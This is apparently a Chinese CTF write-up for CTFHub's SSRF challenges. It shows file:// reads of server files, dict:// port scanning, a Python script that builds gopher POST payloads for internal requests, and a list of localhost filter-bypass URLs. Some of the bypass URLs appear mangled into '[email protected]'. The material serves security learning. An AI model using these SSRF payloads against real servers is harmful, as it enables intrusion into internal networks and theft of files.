SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器
这两段话是我在网上复制下来的,而网上对于SSRF的解释也都是大同小异(其实也就是这些),我觉得用最容易理解的话来解释就是:我们无法访问内网,只能访问服务端,而我们通过服务端访问到内网,这就是SSRF。
file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
http/s协议:探测内网主机存活
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
题目让尝试访问位于127.0.0.1的flag.php,那直接访问就是了
127.0.0.1/flag.php
读取文件,这提示的已经很明显了,直接用file:///
协议,这里得知道网站目录在/var/www/html/
才行,那就构造file:///var/www/html/flag.php
,发现
提示端口范围是8000-9000,那我们直接抓包用dict://
协议来爆破就是了(抓包爆破的操作就不做演示了)。
dict://127.0.0.1:8000
扫描到8462(扫到的端口不一样,自己尝试尝试),那我们直接访问127.0.0.1:8462
题目提示:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转,加油吧骚年。这里跟踪302跳转也就是利用302协议(重定向)的跳转ssrf来访问与服务器相连的内网。
打开题什么也没有,用dirsearch扫一扫,可以发现index.php,flag.php,302.php用file:///
协议尝试读取index.php文件
?url=file:///var/www/html/index.php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
再尝试读取flag.php文件
让我们从127.0.0.1进行访问,那我们就从127.0.0.1进行访问(这里用不用http
协议都能出来)
?url=127.0.0.1/flag.php
访问后查看源代码发现
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=9780d5b03ac3c1482f1f9bb6c55bff55-->
</form>
再找302.php(其实没有这个文件,咋找也找不到)
我们知道index.php能够接受url传参(从127.0.0.1进行访问),那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包的内容包含flag.php中的key。
既然要构造gopher数据,最起码得知道gopher协议该怎么用:URL: gopher://
(有个_是因为gopher协议会吃掉第一个字符 ,并且通常用 _但 并不是只能用 _)
构造的POST请求
gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36 #特别注意此处的长度,长度不对也是不行的。
Content-Type: application/x-www-form-urlencoded
key=9780d5b03ac3c1482f1f9bb6c55bff55 #key就是我们从127.0.0.1访问flag.php获取的值,这里也就是flag的MD5值。
这里要三次编码请求包(我知道编码是为了什么,但不知道为啥要编码三次),并且编码的时候要将把%0A
全部替换成%0D%0A
,可手动编码在线URL编码,也可以搞个脚本(我不会写,在网上找了一个大佬写的,但是这个脚本只编码了两次,可以复制结果去再编码一次)
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=dd8f097e76106c69e598fb475a4662c0
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)
对网页进行抓包,修改数据
本题与前面的POST请求相比较的话,emmm,可以说是一模一样吧,唯一不同也就只是POST请求上传了一个key,而这里是上传了一个文件,但其中好多地方原理还是不大明白(题做出来也是靠来回试了几次),这里先把我的做题步骤记录一下吧,以后懂了再回来做解释。
和上一关一样啥也没有,我尝试用dirsearch扫了一下,啥也没扫出来(只扫了一遍,可能没看到,大家可以尝试尝试),然后我就直接尝试用file://
去找找有没有flag.php,index.php,302.php,这里运气也是挺好,直接就找到了。
?url=file:///var/www/html/index.php
查看index.php的源代码
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
再看看flag.php的
?url=file:///var/www/html/flag.php
error_reporting(0);
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}
if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>
Upload Webshell
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>
看到这里就知道其实和上一关差不多,只要上传一个大于0的文件就行。那我们再从127.0.0.1访问flag.php
果然就是一个上传文件的页面,但是只有浏览没有上传可还行,不过这里直接F12然后给它加上一个按钮就好了。
接下来用gopher协议上传文件就行了,首先编码三次,我还是用上一关那个脚本来编码两次然后自己编码一次。(这里需要将HOST后的内容改为127.0.0.1:80)
这里更改的地方有
我对gopher协议理解还是比较浅层,所以有的地方我解释不出来,这里先记录步骤。
题目描述:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
打开题目后显示:url must startwith "http://notfound.ctfhub.com"
这里也算是一个小知识吧,http://[email protected]/与http://127.0.0.1请求的都是127.0.0.1的内容,既然他要求http://notfound.ctfhub.com开始,那么?url=http://[email protected]/flag.php
(这里直接找flag.php也就是试一试,没想到)
直接贴上师傅们的绕过姿势
http://localhost/ # localhost就是代指127.0.0.1
http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行
http://[::]:80/ # 在liunx下可用,window测试了下不行
http://127。0。0。1/ # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
用第一种就直接哦可了?url=http://localhost/flag.php
下面的就算是提供一种思路吧,因为都会这样
emmmm,看网上教程好像最后两道题可以直接搞出flag,试了一下发现真的可以?url=127.0.0.1/flag.php
,就先不做解释,等以后彻底悟了再写吧